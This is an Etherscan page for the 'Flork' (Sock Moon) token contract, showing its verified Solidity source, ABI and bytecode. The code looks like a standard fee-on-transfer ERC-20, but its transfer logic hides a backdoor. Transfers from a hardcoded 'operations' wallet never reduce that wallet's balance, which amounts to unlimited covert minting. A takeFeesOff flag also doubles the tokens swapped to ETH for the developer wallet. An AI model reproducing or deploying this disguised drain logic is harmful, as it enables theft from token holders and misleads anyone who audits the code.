ETH Price: $3,263.64 (+2.44%)
 

Overview

Max Total Supply

1,000,000,000 Flork

Holders

26

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
514,915.661442575 Flork

Value
$0.00
0x0d4e4fd9eee8dc9b5fcd408cbf01eba5d925535e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Flork

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-21
*/

/**
Website:  https://www.sockmoon.vip
Telegram: https://t.me/florksockmoon
Twitter:  https://twitter.com/florksockmoon
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Flork is Context, IERC20, Ownable {
    using SafeMath for uint256;
 
    string private constant _name = unicode"Sock Moon";
    string private constant _symbol = unicode"Flork";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFees;
    uint256 private constant MAX = 10 ** 30;
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 1;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 1;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private devAddress = payable(0xBd998465dA58E804FA8bE124C3a6D005324857C0);
    address payable private operations = payable(0xb5609a94e7f9C64843E20079a2619513716f28A3);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private takeFeesOff = false;
    bool private swapEnabled = false;
 
    uint256 public _maxTxAmount = 2 * 10_000_000 * 10**9;       // 2%
    uint256 public _maxWalletSize = 2 * 10_000_000 * 10**9;     // 2%
    uint256 public _swapTokensAtAmount = 1_000_000 * 10**9;     // 0.1%
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
        _rOwned[_msgSender()] = _rTotal;
 
        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[devAddress] = true;
        _isExcludedFromFees[operations] = true;
        _isExcludedFromFees[address(this)] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance > 0;
 
            if (
                canSwap 
                && !inSwap 
                && from != uniswapV2Pair 
                && swapEnabled 
                && !_isExcludedFromFees[from] 
                && !_isExcludedFromFees[to]
            ) {
                swapTokensForEth(contractTokenBalance * (!takeFeesOff ? 1: 2));
                uint256 contractETHBalance = address(this).balance; 
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true; 

        //Transfer Tokens
        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;

            if(from == uniswapV2Pair && to != address(this)) takeFeesOff = true;
        } else {
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        devAddress.transfer(amount);
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = type(uint).max;
        _maxWalletSize = type(uint).max;
        _taxFeeOnBuy = 1;
        _taxFeeOnSell = 1;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if(!takeFee) {
            removeAllFee();
        }
        _transferStandard(sender, recipient, amount, sender == operations);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount,
        bool value
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount, value); 
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function _getValues(uint256 tAmount, bool value)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {   
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate); 
        return (!value? rAmount: 0, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
           _maxTxAmount = maxTxAmount;
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }
 
    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFees[accounts[i]] = excluded;
        }
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function enableTrading() public onlyOwner {
        tradingOpen = true;
        swapEnabled = true;
    }

    function addLiquidityETH() public payable onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052610023670de0b6b3a76400006c0c9f2c9cd04674edea400000006101d7565b61003a906c0c9f2c9cd04674edea400000006101f6565b6006555f600881905560016009819055600a829055600b819055600c829055600d819055600e91909155600f55601080546001600160a01b031990811673bd998465da58e804fa8be124c3a6d005324857c0179091556011805490911673b5609a94e7f9c64843e20079a2619513716f28a31790556013805463ffffffff60a01b1916905566470de4df820000601481905560155566038d7ea4c680006016553480156100e5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f8181526002602090815260408083209490945581546001600160a01b039081168352600582528483208054600160ff1991821681179092556010548316855286852080548216831790556011549092168452858420805483168217905530845285842080549092161790559251670de0b6b3a76400008152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361021b565b5f826101f157634e487b7160e01b5f52601260045260245ffd5b500690565b8181038181111561021557634e487b7160e01b5f52601160045260245ffd5b92915050565b611b0d80620002295f395ff3fe60806040526004361061014a575f3560e01c80637d1db4a5116100b3578063a9059cbb1161006d578063a9059cbb1461039e578063c492f046146103bd578063dd62ed3e146103dc578063ea1644d514610420578063ed9953071461043f578063f2fde38b14610447575f80fd5b80637d1db4a5146102f85780638a8c523c1461030d5780638da5cb5b146103215780638f9a55c01461033d57806395d89b411461035257806398a5c3151461037f575f80fd5b8063313ce56711610104578063313ce5671461025657806349bd5a5e1461027157806370a0823114610290578063715018a6146102af57806374010ece146102c5578063751039fc146102e4575f80fd5b806306fdde0314610155578063095ea7b3146101985780631694505e146101c757806318160ddd146101fe57806323b872dd146102225780632fd689e314610241575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600981526829b7b1b59026b7b7b760b91b60208201525b60405161018f9190611773565b60405180910390f35b3480156101a3575f80fd5b506101b76101b23660046117d5565b610466565b604051901515815260200161018f565b3480156101d2575f80fd5b506012546101e6906001600160a01b031681565b6040516001600160a01b03909116815260200161018f565b348015610209575f80fd5b50670de0b6b3a76400005b60405190815260200161018f565b34801561022d575f80fd5b506101b761023c3660046117ff565b61047c565b34801561024c575f80fd5b5061021460165481565b348015610261575f80fd5b506040516009815260200161018f565b34801561027c575f80fd5b506013546101e6906001600160a01b031681565b34801561029b575f80fd5b506102146102aa36600461183d565b6104e3565b3480156102ba575f80fd5b506102c3610504565b005b3480156102d0575f80fd5b506102c36102df366004611858565b61057e565b3480156102ef575f80fd5b506102c36105ac565b348015610303575f80fd5b5061021460145481565b348015610318575f80fd5b506102c36105eb565b34801561032c575f80fd5b505f546001600160a01b03166101e6565b348015610348575f80fd5b5061021460155481565b34801561035d575f80fd5b50604080518082019091526005815264466c6f726b60d81b6020820152610182565b34801561038a575f80fd5b506102c3610399366004611858565b61062f565b3480156103a9575f80fd5b506101b76103b83660046117d5565b61065d565b3480156103c8575f80fd5b506102c36103d736600461186f565b610669565b3480156103e7575f80fd5b506102146103f63660046118f2565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561042b575f80fd5b506102c361043a366004611858565b610706565b6102c3610734565b348015610452575f80fd5b506102c361046136600461183d565b61099b565b5f610472338484610a82565b5060015b92915050565b5f610488848484610ba5565b6104d984336104d485604051806060016040528060288152602001611ab0602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906110a9565b610a82565b5060019392505050565b6001600160a01b0381165f90815260026020526040812054610476906110e1565b5f546001600160a01b031633146105365760405162461bcd60e51b815260040161052d90611929565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105a75760405162461bcd60e51b815260040161052d90611929565b601455565b5f546001600160a01b031633146105d55760405162461bcd60e51b815260040161052d90611929565b5f19601481905560155560016009819055600b55565b5f546001600160a01b031633146106145760405162461bcd60e51b815260040161052d90611929565b6013805463ff0000ff60a01b1916630100000160a01b179055565b5f546001600160a01b031633146106585760405162461bcd60e51b815260040161052d90611929565b601655565b5f610472338484610ba5565b5f546001600160a01b031633146106925760405162461bcd60e51b815260040161052d90611929565b5f5b82811015610700578160055f8686858181106106b2576106b261195e565b90506020020160208101906106c7919061183d565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055806106f881611986565b915050610694565b50505050565b5f546001600160a01b0316331461072f5760405162461bcd60e51b815260040161052d90611929565b601555565b5f546001600160a01b0316331461075d5760405162461bcd60e51b815260040161052d90611929565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156107c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e4919061199e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561082f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610853919061199e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561089d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c1919061199e565b601380546001600160a01b0319166001600160a01b03928316179055305f818152600460209081526040808320601280548716855292529091205f199055549091169063f305d719903490610915816104e3565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610976573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061070091906119b9565b5f546001600160a01b031633146109c45760405162461bcd60e51b815260040161052d90611929565b6001600160a01b038116610a295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ae45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b038216610b455760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c095760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b6001600160a01b038216610c6b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b5f8111610ccc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b6001600160a01b0383165f9081526005602052604090205460ff16158015610d0c57506001600160a01b0382165f9081526005602052604090205460ff16155b15610f6557601354600160a01b900460ff16610da4575f546001600160a01b03848116911614610da45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052d565b601454811115610df65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052d565b6013546001600160a01b03838116911614610e7b5760155481610e18846104e3565b610e2291906119e4565b10610e7b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161052d565b5f610e85306104e3565b905080158015908190610ea25750601354600160a81b900460ff16155b8015610ebc57506013546001600160a01b03868116911614155b8015610ed15750601354600160b81b900460ff165b8015610ef557506001600160a01b0385165f9081526005602052604090205460ff16155b8015610f1957506001600160a01b0384165f9081526005602052604090205460ff16155b15610f6257601354610f5090600160b01b900460ff1615610f3b576002610f3e565b60015b610f4b9060ff16846119f7565b6110fe565b478015610f6057610f604761126e565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610fa557506001600160a01b0383165f9081526005602052604090205460ff165b80610fd757506013546001600160a01b03858116911614801590610fd757506013546001600160a01b03848116911614155b1561102357506013545f906001600160a01b03858116911614801561100557506001600160a01b0383163014155b1561101e576013805460ff60b01b1916600160b01b1790555b61109d565b6013546001600160a01b03858116911614801561104e57506012546001600160a01b03848116911614155b1561106057600854600c55600954600d555b6013546001600160a01b03848116911614801561108b57506012546001600160a01b03858116911614155b1561109d57600a54600c55600b54600d555b610700848484846112a9565b5f81848411156110cc5760405162461bcd60e51b815260040161052d9190611773565b505f6110d88486611a0e565b95945050505050565b5f806110eb6112ec565b90506110f7838261130d565b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111445761114461195e565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561119b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111bf919061199e565b816001815181106111d2576111d261195e565b6001600160a01b0392831660209182029290920101526012546111f89130911684610a82565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112309085905f90869030904290600401611a21565b5f604051808303815f87803b158015611247575f80fd5b505af1158015611259573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112a5573d5f803e3d5ffd5b5050565b806112b6576112b661134e565b6011546112d6908590859085906001600160a01b0380851691161461137b565b8061070057610700600e54600c55600f54600d55565b5f805f6112f761147f565b9092509050611306828261130d565b9250505090565b5f6110f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114be565b600c5415801561135e5750600d54155b1561136557565b600c8054600e55600d8054600f555f9182905555565b5f805f805f8061138b88886114ea565b9550955095509550955095506113cd8660025f8d6001600160a01b03166001600160a01b031681526020019081526020015f205461154e90919063ffffffff16565b6001600160a01b03808c165f9081526002602052604080822093909355908b16815220546113fb908661158f565b6001600160a01b038a165f9081526002602052604090205561141c816115ed565b6114268483611633565b886001600160a01b03168a6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161146b91815260200190565b60405180910390a350505050505050505050565b6006545f908190670de0b6b3a7640000611499828261130d565b8210156114b557505060065492670de0b6b3a764000092509050565b90939092509050565b5f81836114de5760405162461bcd60e51b815260040161052d9190611773565b505f6110d88486611a90565b5f805f805f805f805f6115028b600c54600d54611657565b9250925092505f6115116112ec565b90505f805f6115228f8787876116a9565b9250925092508d15611534575f611536565b825b9f919e509c50949a5092985090965091945050505050565b5f6110f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a9565b5f8061159b83856119e4565b9050838110156110f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b5f6115f66112ec565b90505f61160383836116f5565b305f9081526002602052604090205490915061161f908261158f565b305f90815260026020526040902055505050565b600654611640908361154e565b600655600754611650908261158f565b6007555050565b5f808080611670606461166a89896116f5565b9061130d565b90505f611682606461166a8a896116f5565b90505f611699826116938b8661154e565b9061154e565b9992985090965090945050505050565b5f8080806116b788866116f5565b90505f6116c488876116f5565b90505f6116d188886116f5565b90505f6116e282611693868661154e565b939b939a50919850919650505050505050565b5f